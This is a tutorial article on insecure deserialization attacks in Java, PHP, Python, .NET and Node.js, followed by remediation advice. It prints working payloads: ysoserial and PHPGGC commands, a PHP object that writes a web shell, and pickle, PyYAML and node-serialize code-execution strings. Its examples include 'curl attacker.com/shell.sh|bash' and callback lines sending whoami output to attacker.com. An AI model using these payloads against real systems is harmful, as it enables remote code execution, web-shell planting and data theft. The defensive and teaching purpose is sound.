Insecure deserialization vulnerability exploitation

Insecure Deserialization: Object Manipulation Attacks

Deserialization vulnerabilities in Java, PHP, Python, .NET, and Node.js including gadget chains, exploitation techniques, and remediation.

Mar 3, 2026
Updated Dec 11, 2025
2 min read

Introduction

Insecure deserialization occurs when applications deserialize untrusted data without proper validation, potentially leading to remote code execution (RCE), privilege escalation, or denial of service. Serialization converts objects to transportable formats (bytes, JSON, XML), and deserialization reconstructs them—a process that can trigger dangerous operations if the data is manipulated.

This vulnerability has led to critical breaches including the Equifax hack (Apache Struts) and affects virtually every programming language with serialization capabilities.

Understanding Serialization

Why Applications Serialize

  • Session storage
  • Caching objects
  • Inter-service communication
  • Database storage
  • Message queues

Danger During Deserialization

When objects are deserialized, constructors, magic methods, or callback functions may execute automatically:

# Python __reduce__ method executes during unpickling
class Malicious:
    def __reduce__(self):
        import os
        return (os.system, ('whoami',))

Java Deserialization

Identifying Serialized Data

# Magic bytes for Java serialization
AC ED 00 05  # Binary format
rO0AB        # Base64 encoded

# Common locations
- Cookies (ViewState, session)
- Hidden form fields
- API payloads
- Message queues (JMS)

Common Gadget Chains

# ysoserial - generate payloads
java -jar ysoserial.jar CommonsCollections1 'whoami' | base64

# Common gadgets:
# - CommonsCollections1-7 (Apache Commons)
# - Spring1-2 (Spring Framework)
# - Hibernate1-2 (Hibernate ORM)
# - JRMPClient/JRMPListener (RMI)
# - FileUpload1 (Commons FileUpload)

Exploitation Example

// Vulnerable code
ObjectInputStream ois = new ObjectInputStream(
    new ByteArrayInputStream(userInput));
Object obj = ois.readObject();  // Executes gadget chain

// Attack
// 1. Generate payload
java -jar ysoserial.jar CommonsCollections6 'curl attacker.com/shell.sh|bash' > payload.bin

// 2. Base64 encode if needed
base64 payload.bin > payload.b64

// 3. Send to vulnerable endpoint
curl -X POST https://target.com/api \
    -H "Content-Type: application/x-java-serialized-object" \
    --data-binary @payload.bin

Detection Tips

# Look for:
- java.io.ObjectInputStream usage
- readObject() calls
- XMLDecoder usage
- XStream without whitelist
- SnakeYAML without safe constructors

PHP Deserialization

PHP Magic Methods

// Dangerous magic methods
__construct()   // Object creation
__destruct()    // Object destruction
__wakeup()      // Called on unserialize()
__toString()    // Object to string conversion
__call()        // Undefined method calls

POP Chains (Property-Oriented Programming)

// Vulnerable class
class FileHandler {
    public $filename;
    public $content;

    function __destruct() {
        file_put_contents($this->filename, $this->content);
    }
}

// Exploitation
$payload = new FileHandler();
$payload->filename = '/var/www/html/shell.php';
$payload->content = '<?php system($_GET["cmd"]); ?>';
echo serialize($payload);
// O:11:"FileHandler":2:{s:8:"filename";s:25:"/var/www/html/shell.php";s:7:"content";s:31:"<?php system($_GET["cmd"]); ?>";}

PHP Phar Deserialization

// Phar files can trigger deserialization
// via phar:// stream wrapper

// Any file operation can trigger:
file_exists('phar://malicious.phar')
file_get_contents('phar://malicious.phar')
include('phar://malicious.phar')

Tools

# PHPGGC - PHP Generic Gadget Chains
phpggc Monolog/RCE1 system 'id' > payload.txt

# Phar generator
phpggc -p phar Monolog/RCE1 system 'id' -o exploit.phar

Python Deserialization

Pickle Exploitation

import pickle
import base64
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ('id',))

payload = pickle.dumps(Exploit())
print(base64.b64encode(payload).decode())

# Trigger with:
pickle.loads(base64.b64decode(payload))

PyYAML Exploitation

# Unsafe YAML (requires yaml.load with Loader=Loader)
!!python/object/apply:os.system ['id']

# Or
!!python/object/new:subprocess.Popen
args: [['id']]

# Safe usage (won't execute):
yaml.safe_load(data)

Detection

# Look for:
pickle.loads()
pickle.load()
cPickle.loads()
yaml.load()  # without safe_load
marshal.loads()
shelve.open()

.NET Deserialization

BinaryFormatter Exploitation

// Vulnerable code
BinaryFormatter formatter = new BinaryFormatter();
object obj = formatter.Deserialize(stream);  // RCE

// Generate payload with ysoserial.net
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc.exe"

Common .NET Gadgets

# ysoserial.net gadgets
ActivitySurrogateSelector
ObjectDataProvider
TypeConfuseDelegate
WindowsIdentity

ViewState Attacks

# If ViewState MAC is disabled or key is known
ysoserial.exe -p ViewState -g TextFormattingRunProperties \
    -c "cmd /c whoami" --validationalg="SHA1" --validationkey="KEY"

Node.js Deserialization

node-serialize Vulnerability

// Vulnerable code
var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').exec(\'id\', function(error, stdout, stderr) { console.log(stdout) });}()"}';
serialize.unserialize(payload);

// Payload generator
var y = {
  rce: function(){
    require('child_process').exec('id', function(e,s,er){console.log(s)});
  }
};
var payload = serialize.serialize(y).replace('"}', '()"}');

IIFE Exploitation

// Immediately Invoked Function Expression
{"exploit":"_$$ND_FUNC$$_function(){PAYLOAD}()"}

Exploitation Workflow

1. Identify Serialization

# Check for magic bytes
xxd suspicious_data | head

# Common indicators:
# Java: AC ED 00 05, rO0AB...
# PHP: a:, O:, s:
# Python Pickle: 80 04 95, gASV...
# .NET: AAEAAAD/////

2. Determine Libraries

# Error messages reveal framework
# Stack traces show library versions
# Headers indicate technology stack

3. Generate Payloads

# Java
java -jar ysoserial.jar [GADGET] '[COMMAND]'

# PHP
phpggc [CHAIN] [PARAM1] [PARAM2]

# .NET
ysoserial.exe -f [FORMAT] -g [GADGET] -c '[COMMAND]'

4. Deliver and Verify

# Use out-of-band verification
# - DNS callback (dnslog.cn, burpcollaborator)
# - HTTP callback

# Example command
curl http://attacker.com/$(whoami)
nslookup $(whoami).attacker.com

Defense and Remediation

General Principles

  1. Never deserialize untrusted data
  2. Use data formats like JSON for untrusted input
  3. Implement integrity checks (HMAC)
  4. Use allowlists for deserialization classes

Language-Specific Mitigations

// Java - Use filtering (JEP 290)
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
    "com.myapp.*;!*"
);
ois.setObjectInputFilter(filter);

// PHP - Avoid unserialize on user input
// Use JSON instead
$data = json_decode($input, true);

// Python - Use safe loaders
yaml.safe_load(data)  // Not yaml.load()
# Avoid pickle for untrusted data

// .NET - Avoid BinaryFormatter
// Use DataContractSerializer with known types

Detection Methods

# Runtime monitoring
# - Log deserialization calls
# - Monitor for unusual process execution

# Static analysis
# - Look for dangerous function calls
# - Review deserialization patterns

References

MITRE ATT&CK Techniques

Common Weakness Enumeration

OWASP Resources

Tools Documentation

Last updated on